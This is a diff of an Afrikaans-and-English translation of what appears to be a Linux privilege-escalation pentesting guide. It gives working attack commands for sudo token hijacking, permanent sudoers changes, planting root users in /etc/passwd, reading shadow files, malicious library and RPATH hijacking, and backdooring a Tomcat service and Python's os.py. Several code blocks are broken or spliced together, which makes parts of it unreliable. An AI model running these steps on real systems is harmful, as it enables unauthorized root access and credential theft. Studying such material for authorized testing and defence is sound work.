shells te breek, privileges te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te spawn, en ander post-exploitation-take te vergemaklik. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,50 +921,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -As jy toegang het tot `sudo -l` kan jy die hulpmiddel [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te benut. +As jy toegang tot `sudo -l` het, kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kontroleer of dit uitvind hoe om enige sudo-reël te misbruik. -### Hergebruik van Sudo Tokens +### Reusing Sudo Tokens -In gevalle waar jy **sudo toegang** het maar nie die wagwoord nie, kan jy voorregte verhoog deur **te wag vir 'n sudo-opdrag uitvoering en dan die sessietoken te kap**. +In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privileges eskaleer deur te **wag vir 'n sudo-opdrag-uitvoering en dan die sessietoken te kaap**. -Vereistes om voorregte te verhoog: +Requirements to escalate privileges: - Jy het reeds 'n shell as gebruiker "_sampleuser_" -- "_sampleuser_" het **`sudo` gebruik** om iets in die **laaste 15min** uit te voer (per standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om enige wagwoord in te voer) +- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is toeganklik (jy moet in staat wees om dit op te laai) +- `gdb` is toeganklik (jy sal dit kan oplaai) -(Jy kan tydelik `ptrace_scope` inskakel met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent `/etc/sysctl.d/10-ptrace.conf` wysig en `kernel.yama.ptrace_scope = 0` stel) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -As al hierdie vereistes nagekom word, **kan jy voorregte verhoog met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy sal nie outomaties 'n root shell kry nie, doen `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ **besit deur root met setuid** skep +- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep **deur root besit met setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Die **derde uitbuiting** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo tokens ewigdurend maak en alle gebruikers toelaat om sudo te gebruik** +- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo tokens permanent maak en alle gebruikers toelaat om sudo te gebruik** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -As jy **skrywe toestemmings** in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binêre [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om 'n **sudo-token vir 'n gebruiker en PID** te **skep**.\ -Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **sudo-regte verkry** sonder om die wagwoord te ken deur: +As jy **write permissions** in die vouer of op enige van die geskepte lêers binne die vouer het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo token vir 'n user en PID te skep**.\ +Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan overwrite en jy het 'n shell as daardie user met PID 1234, kan jy **obtain sudo privileges** sonder om die password te ken deur dit te doen: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\ -**As** jy hierdie lêer kan **lees**, kan jy dalk **interessante inligting verkry**, en as jy enige lêer kan **skryf**, sal jy in staat wees om **privileges te verhoog**. +Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` stel in wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\ +**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -983,17 +983,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Daar is 'n paar alternatiewe vir die `sudo` binêre soos `doas` vir OpenBSD, onthou om sy konfigurasie by `/etc/doas.conf` te kontroleer. +Daar is 'n paar alternatiewe vir die `sudo` binary soos `doas` vir OpenBSD; onthou om sy konfigurasie by `/etc/doas.conf` na te gaan. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -As jy weet dat 'n **gebruiker gewoonlik aan 'n masjien koppel en `sudo` gebruik** om voorregte te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as root sal uitvoer en dan die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word. +As jy weet dat 'n **gebruiker gewoonlik met 'n masjien verbind en `sudo` gebruik** om bevoegdhede te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo executable skep** wat jou kode as root sal uitvoer en daarna die gebruiker se command. Verander dan die **$PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo executable uitgevoer word. -Let daarop dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Of om iets soos te loop: +Of deur iets soos die volgende uit te voer: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Deur die lib in `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-veranderlike. +Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-variabele. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1044,7 +1044,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Dan skep 'n bose biblioteek in `/var/tmp` met `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Skep dan 'n kwaadwillige biblioteek in `/var/tmp` met `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1059,21 +1059,22 @@ execve(file,argv,0); ``` ## Vermoëns -Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko's van uitbuiting verlaag.\ +Linux-vermoëns bied 'n **substel van die beskikbare root-voorregte aan 'n proses**. Dit verdeel effektief root **voorregte in kleiner en onderskeibare eenhede**. Elkeen van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel voorregte verminder, wat die risiko's van misbruik verlaag.\ Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**: + {{#ref}} linux-capabilities.md {{#endref}} -## Gids toestemmings +## Gidspermissies -In 'n gids impliseer die **bit vir "uitvoer"** dat die betrokke gebruiker kan "**cd**" in die vouer.\ -Die **"lees"** bit impliseer dat die gebruiker kan **lys** die **lêers**, en die **"skryf"** bit impliseer dat die gebruiker kan **verwyder** en **skep** nuwe **lêers**. +In 'n gids impliseer die **bit vir "execute"** dat die betrokke gebruiker kan "**cd**" na die vouer.\ +Die **"read"**-bit impliseer dat die gebruiker die **lêers** kan **lys**, en die **"write"**-bit impliseer dat die gebruiker **lêers** kan **verwyder** en nuwe **lêers** kan **skep**. ## ACLs -Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer- of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word. +Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om **die tradisionele ugo/rwx-toestemmings te oorheers**. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur regte toe te laat of te weier aan spesifieke gebruikers wat nie eienaars is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede kan gevind word [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Gee** gebruiker "kali" lees- en skryfregte oor 'n lêer: ```bash @@ -1082,18 +1083,18 @@ setfacl -m u:kali:rw file.txt setfacl -b file.txt #Remove the ACL of the file ``` -**Kry** lêers met spesifieke ACLs van die stelsel: +**Kry** lêers met spesifieke ACLs vanaf die stelsel: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Open shell sessions +## Oop shell sessions -In **ou weergawe** kan jy **hijack** sommige **shell** sessies van 'n ander gebruiker (**root**).\ -In **nuutste weergawes** sal jy in staat wees om slegs na skermsessies van **jou eie gebruiker** te **verbinde**. Tog kan jy **interessante inligting binne die sessie** vind. +In **ou weergawes** kan jy 'n **shell** session van 'n ander gebruiker (**root**) **hijack**.\ +In **nuutste weergawes** sal jy slegs na screen sessions van **jou eie gebruiker** kan **connect**. Egter, kan jy **interessante inligting binne die session** vind. ### screen sessions hijacking -**Lys skermsessies** +**Lys screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1106,9 +1107,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessies oorname +## tmux sessions hijacking -Dit was 'n probleem met **ou tmux weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, oorneem as 'n nie-privilegieerde gebruiker nie. +Dit was 'n probleem met **old tmux versions**. Ek kon as 'n nie-geprivilegieerde gebruiker nie 'n tmux (v2.1) sessie wat deur root geskep is hijack nie. **Lys tmux sessies** ```bash @@ -1128,53 +1129,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Kontroleer **Valentine box van HTB** vir 'n voorbeeld. +Kyk na die **Valentine box van HTB** vir 'n voorbeeld. ## SSH ### Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166 -Alle SSL en SSH sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, mag deur hierdie fout geraak word.\ -Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\ +Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh publieke sleutel kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interessante konfigurasiewaarde +### SSH Interessante konfigurasiewaardes -- **PasswordAuthentication:** Gee aan of wagwoordverifikasie toegelaat word. Die standaard is `no`. -- **PubkeyAuthentication:** Gee aan of publieke sleutelverifikasie toegelaat word. Die standaard is `yes`. -- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, gee dit aan of die bediener aanmeldings met leë wagwoordstrings toelaat. Die standaard is `no`. +- **PasswordAuthentication:** Bepaal of wagwoordverifikasie toegelaat word. Die verstek is `no`. +- **PubkeyAuthentication:** Bepaal of publieke sleutel-verifikasie toegelaat word. Die verstek is `yes`. +- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, bepaal dit of die bediener aanmeldings na rekeninge met leë wagwoordstringe toelaat. Die verstek is `no`. ### PermitRootLogin -Gee aan of root kan aanmeld met ssh, die standaard is `no`. Moontlike waardes: +Bepaal of root kan aanmeld via ssh; verstek is `no`. Moontlike waardes: - `yes`: root kan aanmeld met wagwoord en private sleutel -- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel +- `without-password` or `prohibit-password`: root kan slegs met 'n private sleutel aanmeld - `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is -- `no` : geen +- `no` : nee ### AuthorizedKeysFile -Gee lêers aan wat die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld: +Bepaal lêers wat die publieke sleutels bevat wat gebruik kan word vir gebruiker-verifikasie. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die tuismap. **Jy kan absolute paaie aandui** (begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuismap**. Byvoorbeeld: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Die konfigurasie sal aandui dat as jy probeer om aan te meld met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is, gaan vergelyk. +Daardie konfigurasie dui aan dat as jy probeer om aan te meld met die **private** key van die gebruiker "**testusername**", sal ssh die public key van jou key vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om te **spring** via ssh **na 'n gasheer** en van daar af **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is. +SSH agent forwarding stel jou in staat om **use your local SSH keys instead of leaving keys** (sonder passphrases!) op jou server te laat staan. Dit beteken dat jy in staat sal wees om **jump** via ssh **to a host** en van daar **jump to another** host **using** die **key** geleë in jou **initial host**. -Jy moet hierdie opsie in `$HOME/.ssh.config` soos volg stel: +Jy moet hierdie opsie in `$HOME/.ssh.config` instel soos volg: ``` Host example.com ForwardAgent yes ``` -Let wel dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is). +Let wel dat as `Host` `*` is, elke keer wanneer die gebruiker na 'n ander masjien spring, daardie masjien toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is). -Die lêer `/etc/ssh_config` kan **oorskryf** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\ -Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). +Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorheers** en hierdie konfigurasie toelaat of weier. Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is toegelaat). + +As jy sien dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: -As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1182,30 +1183,30 @@ ssh-forward-agent-exploitation.md ## Interessante Lêers -### Profiel lêers +### Profiellêers -Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **scripts wat uitgevoer word wanneer 'n gebruiker 'n nuwe skulp uitvoer**. Daarom, as jy **kan skryf of enige van hulle kan wysig, kan jy voorregte verhoog**. +Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy **enigeen daarvan kan skryf of wysig kan jy escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -As daar enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**. +As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**. ### Passwd/Shadow Lêers -Afhangende van die OS mag die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam gebruik of daar mag 'n rugsteun wees. Daarom word dit aanbeveel om **almal van hulle te vind** en **te kyk of jy hulle kan lees** om te sien **of daar hashes** binne die lêers is: +Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al die lêers te vind** en **te kontroleer of jy dit kan lees** om te sien **of daar hashes in die lêers is**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In sommige gevalle kan jy **wachtwoord-hashes** binne die `/etc/passwd` (of ekwivalente) lêer vind +Soms kan jy **password hashes** in die `/etc/passwd` (of ekwivalente) lêer vind. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Skryfbare /etc/passwd +### Skryfbaar /etc/passwd -Eerstens, genereer 'n wagwoord met een van die volgende opdragte. +Eerstens, genereer 'n wagwoord met een van die volgende kommando's. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker @@ -1215,38 +1216,38 @@ Voeg dan die gebruiker `hacker` by en voeg die gegenereerde wagwoord by. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Jy kan nou die `su` opdrag gebruik met `hacker:hacker` -Alternatiewelik kan jy die volgende lyne gebruik om 'n dummy gebruiker sonder 'n wagwoord by te voeg.\ -WAARSKUWING: jy mag die huidige sekuriteit van die masjien verlaag. +Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.\ +WAARSKUWING: jy kan die huidige sekuriteit van die masjien verswak. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -LET WET: In BSD platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is die `/etc/shadow` hernoem na `/etc/spwd.db`. +LET WEL: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, en ook is `/etc/shadow` hernoem na `/etc/spwd.db`. -Jy moet nagaan of jy **in sommige sensitiewe lêers kan skryf**. Byvoorbeeld, kan jy in 'n **dienskonfigurasielêer** skryf? +Jy moet nagaan of jy kan **skryf in sekere sensitiewe lêers**. Byvoorbeeld, kan jy na 'n **konfigurasielêer van 'n diens** skryf? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Byvoorbeeld, as die masjien 'n **tomcat** bediener draai en jy kan **die Tomcat diens konfigurasie lêer binne /etc/systemd/ wysig,** dan kan jy die lyne wysig: +Byvoorbeeld, as die masjien 'n **tomcat** bediener draai en jy kan **modify the Tomcat service configuration file inside /etc/systemd/,** dan kan jy die reëls wysig: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Jou backdoor sal uitgevoer word die volgende keer wanneer tomcat begin word. +Jou backdoor sal die volgende keer dat tomcat gestart word, uitgevoer word. -### Kontroleer Gidsen +### Kontroleer gidse -Die volgende gidse mag rugsteun of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer) +Die volgende gidse mag backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer.) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Vreemde Ligging/Eienaar lêers +### Vreemde ligging/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1263,54 +1264,54 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Gewysigde lêers in laaste minute +### Gewysigde lêers in die laaste minute ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB lêers +### Sqlite DB-lêers ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_geskiedenis, .sudo_as_admin_successful, profiel, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Versteekte lêers +### Verborge lêers ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries in PATH** +### **Skripte/Uitvoerbare lêers in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Web lêers** +### **Web-lêers** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Rugsteun** +### **Rugsteunkopieë** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekende lêers wat wagwoorde bevat +### Bekende lêers wat passwords bevat -Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat wagwoorde kan bevat**.\ -**Nog 'n interessante hulpmiddel** wat jy kan gebruik om dit te doen is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n oopbron-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar gestoor is vir Windows, Linux & Mac te onttrek. +Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek **verskeie moontlike lêers wat passwords kan bevat**.\ +**Nog 'n interessante hulpmiddel** wat jy kan gebruik om dit te doen is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie passwords te onttrek wat op 'n plaaslike rekenaar gestoor is vir Windows, Linux & Mac. ### Logs -As jy logs kan lees, mag jy in staat wees om **interessante/vertroulike inligting daarin te vind**. Hoe meer vreemd die log is, hoe meer interessant sal dit wees (waarskynlik).\ -Ook, sommige "**sleg**" geconfigureerde (terugdeur?) **auditslogs** mag jou toelaat om **wagwoorde** binne auditslogs te **registreer** soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\ +Ook, sommige "**sleg**" gekonfigureerde (backdoored?) **audit logs** kan jou toelaat om **passwords op te teken** in audit logs soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Om **logs te lees, sal die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. +Om **logs te lees die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sal baie nuttig wees. -### Shell-lêers +### Shell lêers ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1321,68 +1322,70 @@ Om **logs te lees, sal die groep** [**adm**](interesting-groups-linux-pe/index.h ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generiese Kredensiële Soektog/Regex +### Generic Creds Search/Regex -Jy moet ook kyk vir lêers wat die woord "**password**" in sy **naam** of binne die **inhoud** bevat, en ook kyk vir IP's en e-posse binne logs, of hashes regexps.\ -Ek gaan nie hier lys hoe om al hierdie te doen nie, maar as jy belangstel, kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer, nagaan. +Jy moet ook kyk vir lêers wat die woord "**password**" in die **naam** of in die **inhoud** bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.\ +Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer nagaan. ## Skryfbare lêers -### Python biblioteek kaping +### Python library hijacking -As jy weet **waar** 'n python skrip gaan uitgevoer word en jy **kan skryf binne** daardie gids of jy kan **python biblioteke wysig**, kan jy die OS biblioteek wysig en dit backdoor (as jy kan skryf waar die python skrip gaan uitgevoer word, kopieer en plak die os.py biblioteek). +As jy weet vanaf **waar** 'n python script uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **wysig python libraries**, kan jy die os library wysig en dit backdoor (as jy daar kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library). -Om die **biblioteek te backdoor**, voeg net die volgende lyn aan die einde van die os.py biblioteek by (verander IP en PORT): +Om **backdoor the library** voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): ```python import 